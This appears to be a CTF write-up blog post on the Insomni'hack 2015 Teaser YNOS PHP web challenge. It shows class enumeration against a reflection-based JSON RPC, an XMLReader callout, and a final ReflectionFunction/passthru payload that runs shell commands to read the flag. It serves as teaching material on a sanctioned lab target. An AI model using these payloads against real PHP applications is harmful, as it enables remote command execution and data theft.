Things I've learned and suspect I'll forget.
Last weekend I spent a little time with the YNOS web challenge that was apart of Insomni'hack CTF's 2015 Teaser. It is a PHP Web challenge worth 100 points.
Apparently this website likes these stupid films. Pwn them and get the flag which is in a pretty obvious file in the webroot.
Browsing the website showed a small page with a few buttons at the top labeled "Home", "Artists", "Films", "Directors", and "Logout". There is also a form present called "Login" with "Username" and "Password" fields and a submit button.
The first thing I noticed was that none of the buttons were links. Instead they were all hooked up to javascript click events. The html of "Home" looked like this:
<li role="presentation" class="active" onclick="navigate('home')"><a href="#">Home</a></li>
The javascript of the page was defined as:
function navigate(tab) {
req = $.ajax('INSO.RPC',{'type':'POST','data' : '{"c":{"name":"page"},"a":{"name":"render","params":{"name":"' + tab + '"}}}','processData':false,'contentType':'application/json'});
req.done(function(response, textStatus, jqXHR) {
$("#main").html(response);
});
}
$(document).ready(function() {
req = $.ajax('INSO.RPC',{'type':'POST','data' : '{"c":{"name":"page"},"a":{"name":"render","params":{"name":"home"}}}','processData':false,'contentType':'application/json'});
req.done(function(response, textStatus, jqXHR) {
$("#main").html(response);
});
});
Thus clicking "Home" would lead to a AJAX request of:
{"c":{"name":"page"},"a":{"name":"render","params":{"name":"home"}}}
Further, clicking the "Submit" button the "Login" form had an AJAX request of:
{"c":{"name":"user"},"a":{"name":"login","params":"user|pass"}}
This lead me to believe that the AJAX request to INSO.RPC
was invoking some kind of reflection
where the c
class with the name name
would be instantiated. Then the a
"action" (method)
would be called with parameters in params
probably split into an array by separating at the pipe.
Now I needed a way to test to see what I could do with this API. I started by trying to figure out if I could access arbitrary classes. I sent a request with the following payload containing what I could only assume was a made up class name that wouldn't be present in the PHP code:
{"c":{"name":"badclassafq"},"a":{"name":"login","params":"user|pass"}}
And I got a HTTP 500
status code back. Then I sent a request with stdClass
since it is
standard to PHP.
{"c":{"name":"stdClass"},"a":{"name":"login","params":"user|pass"}}
And I got a HTTP 200
status code. Now I had a way to determine what classes I could use.
I whipped up a quick PHP script to give me all classes available in my own PHP environment. This
would give me a starting point for what would be possible. Here was my test.php
file:
<?php
var_dump(get_declared_classes());
?>
And some bash magic to get a file of classes:
php test.php |grep string|cut -d '"' -f 2 > classes.txt
I then used python and the requests
module to enumerate the list to see what was available.
#!/usr/bin/python
import requests
import json
import logging
burp_proxie = {'http':'http://127.0.0.1:8080' }
base_url = 'http://ynos.teaser.insomnihack.ch'
def determine_classes(class_file_in="classes.txt", class_file_out="classes.json"):
'''
It appears the only way to get a 500 is to send a request with an invalid class name
'''
with open(class_file_in, 'r') as f:
data = f.read()
klasses = data.split('\n')
results = {}
for clas in klasses:
logging.info('trying class: %s' % clas)
resp = call_method(classname=clas)
results[clas] = ( resp.status_code == 200 )
with open(class_file_out,'wb') as f:
json.dump(results,f,indent=2)
def call_method(classname="user",actionname="login",params="user|password"):
rpc_url = base_url + '/INSO.RPC'
data = '''{{"c":{{"name":"{classname}"}},"a":{{"name":"{actionname}","params":"{params}"}}}}'''.format(
classname=classname,
actionname=actionname,
params=params
)
session = requests.Session()
session.get(base_url, proxies=burp_proxie)
resp = session.post(rpc_url, data=data, proxies=burp_proxie)
return resp
if __name__ == '__main__':
determine_classes()
Out of the 135 classes I sent, I got a list of 65 that were available. Of particular interest were
ArrayObject
RecursiveArrayIterator
ReflectionExtension
ReflectionFunction
ReflectionMethod
ReflectionObject
ReflectionParameter
ReflectionProperty
Reflection
ReflectionZendExtension
XMLReader
The Recursive
classes are interesting because recursion allows us to use strings to create
objects and then invoke methods of those objects, also specified as string. In fact, I suspected
the back end code looked something like this:
<?php
if ( count($argv)== 4){
$kl = $argv[1]; // $data["c"]["name"];
$ka = $argv[2]; // $data["a"]["name"];
$kp = $argv[3]; // $data["a"]["params"];
}
$b = new ReflectionMethod($kl,$ka);
echo($b->invokeArgs(new $kl, explode("|", $kp)));
echo("\n");
?>
I wanted to confirm my ability to execute code from this API. I figured if I could get the code
to call out to my website then I would confirm execution and wouldn't have to worry about how
the server handles the result of a method call (does it return strings at all? what about other
data?). I figured XMLReader might work since a URI can be specified for the open
method.
So I used XMLReader and sent the following:
{"c":{"name":"XMLReader"},"a":{"name":"open","params":"http://amccormack.net/xml.xml"}}
Sure enough my apache log showed:
54.154.53.161 - - [12/Jan/2015:03:24:50 -0500] "GET /xml.xml HTTP/1.0" 404 3607 "-" "-"
Woohoo code execution! Now to make it arbitrary.
I went down a lot of rabbit holes trying to get code execution to work. The biggest problem was that based on my understanding of what was happening behind the scenes: I had to invoke a class without any parameters in the constructor and then I got one method call with arbitrary parameters.
After a while I noticed something in the original API that I hadn't noticed before. Look at the difference between these two API requests:
{"c":{"name":"page"},"a":{"name":"render","params":{"name":"home"}}} /*render page */
{"c":{"name":"user"},"a":{"name":"login","params":"username|password"}} /*login request*/
I noticed that in the first case, params
was a dictionary, and in the second case, params
was
a string. However, based on experimenting with the API manually, I knew that the dictionary wasn't
required for the page render. That I could send:
{"c":{"name":"page"},"a":{"name":"render","params":"home"}} /*render page */
And get a perfectly valid response full of HTML. This made me think that there must be more
logic than I was thinking, and maybe there are some features I didn't think about. I knew I could
get code execution if I could instantiate a class with parameters before invoking a function. I
figured I hadn't really tried adding the parameters. I crafted a new request but with a params
variable also in the c
variable:
{"c":{"name":"ReflectionFunction","params":"passthru"},"a":{"name":"invoke","params":"ls"}}
And I got the following response:
INSO.RPC
___THE_FLAG_IS_IN_HERE___
___THE_FLAG_IS_IN_HERE___.save
artists.php
bootstrap.min.css
bootstrap.min.js
classes.php
directors.php
films.php
functions.php
home.php
index.php
jquery-2.1.1.min.js
login.php
logout.php
preload.php
And the winning request:
{"c":{"name":"ReflectionFunction","params":"passthru"},"a":{"name":"invoke","params":"grep -rni . *FLAG*"}}
___THE_FLAG_IS_IN_HERE___:1:INS{Gotta_L0ve_l33t_serialization_suff!}
___THE_FLAG_IS_IN_HERE___.save:1:INS{}
I'm not sure I would have solved it without figuring out that classes could take parameters, however I did have some leads that I thought could use some follow up work:
ArrayObject::unserialize
This method
takes a string representing a serialized ArrayObject. I had success getting objects to unserialize
but couldn't find a good __wakeup
or __destruct
candidate. See OWASP for how
to take advantage of arbitrary unserialize. If you want to play a challenge related to unserialize,
check out Plaid CTF 2014: Kpop (Writeup and Source here).
See also Stefan Esser's 2010 Blackhat talk (video) [(slides)][https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf] "Utilizing Code Reuse/ROP Application Exploits" where he discusses how to chain PHP Objects to get from an unserialize
to get Arbitrary code execution.ReflectionFunction
to work without an initialization variable. This obviously didn't
work for something like invoke
, but I did have luck with export
and I have no idea why. For
example, I could send: {"c":{"name":"ReflectionFunction"},"a":{"name":"export","params":"passthru"}}
and get a response of:
Function [ <internal:standard> function phpinfo ] {
- Parameters [1] {
Parameter #0 [ <optional> $what ]
}
}
However, if I threw
{"c":{"name":"ReflectionFunction"},"a":{"name":"export","params":"passthru"}}
I wouldn't get anything back, and local testing showed an error of:
PHP Warning: ReflectionFunction::__construct() expects exactly 1 parameter, 0 given in testrf.php on line 28
PHP Fatal error: ReflectionFunction::invoke(): Internal error: Failed to retrieve the reflection object in testrf.php on line 28
That being said, if anyone has some ideas on how to solve this without using class params
hit me up on twitter or email and I'll buy
you a beer.
published on 2015-01-13 by alex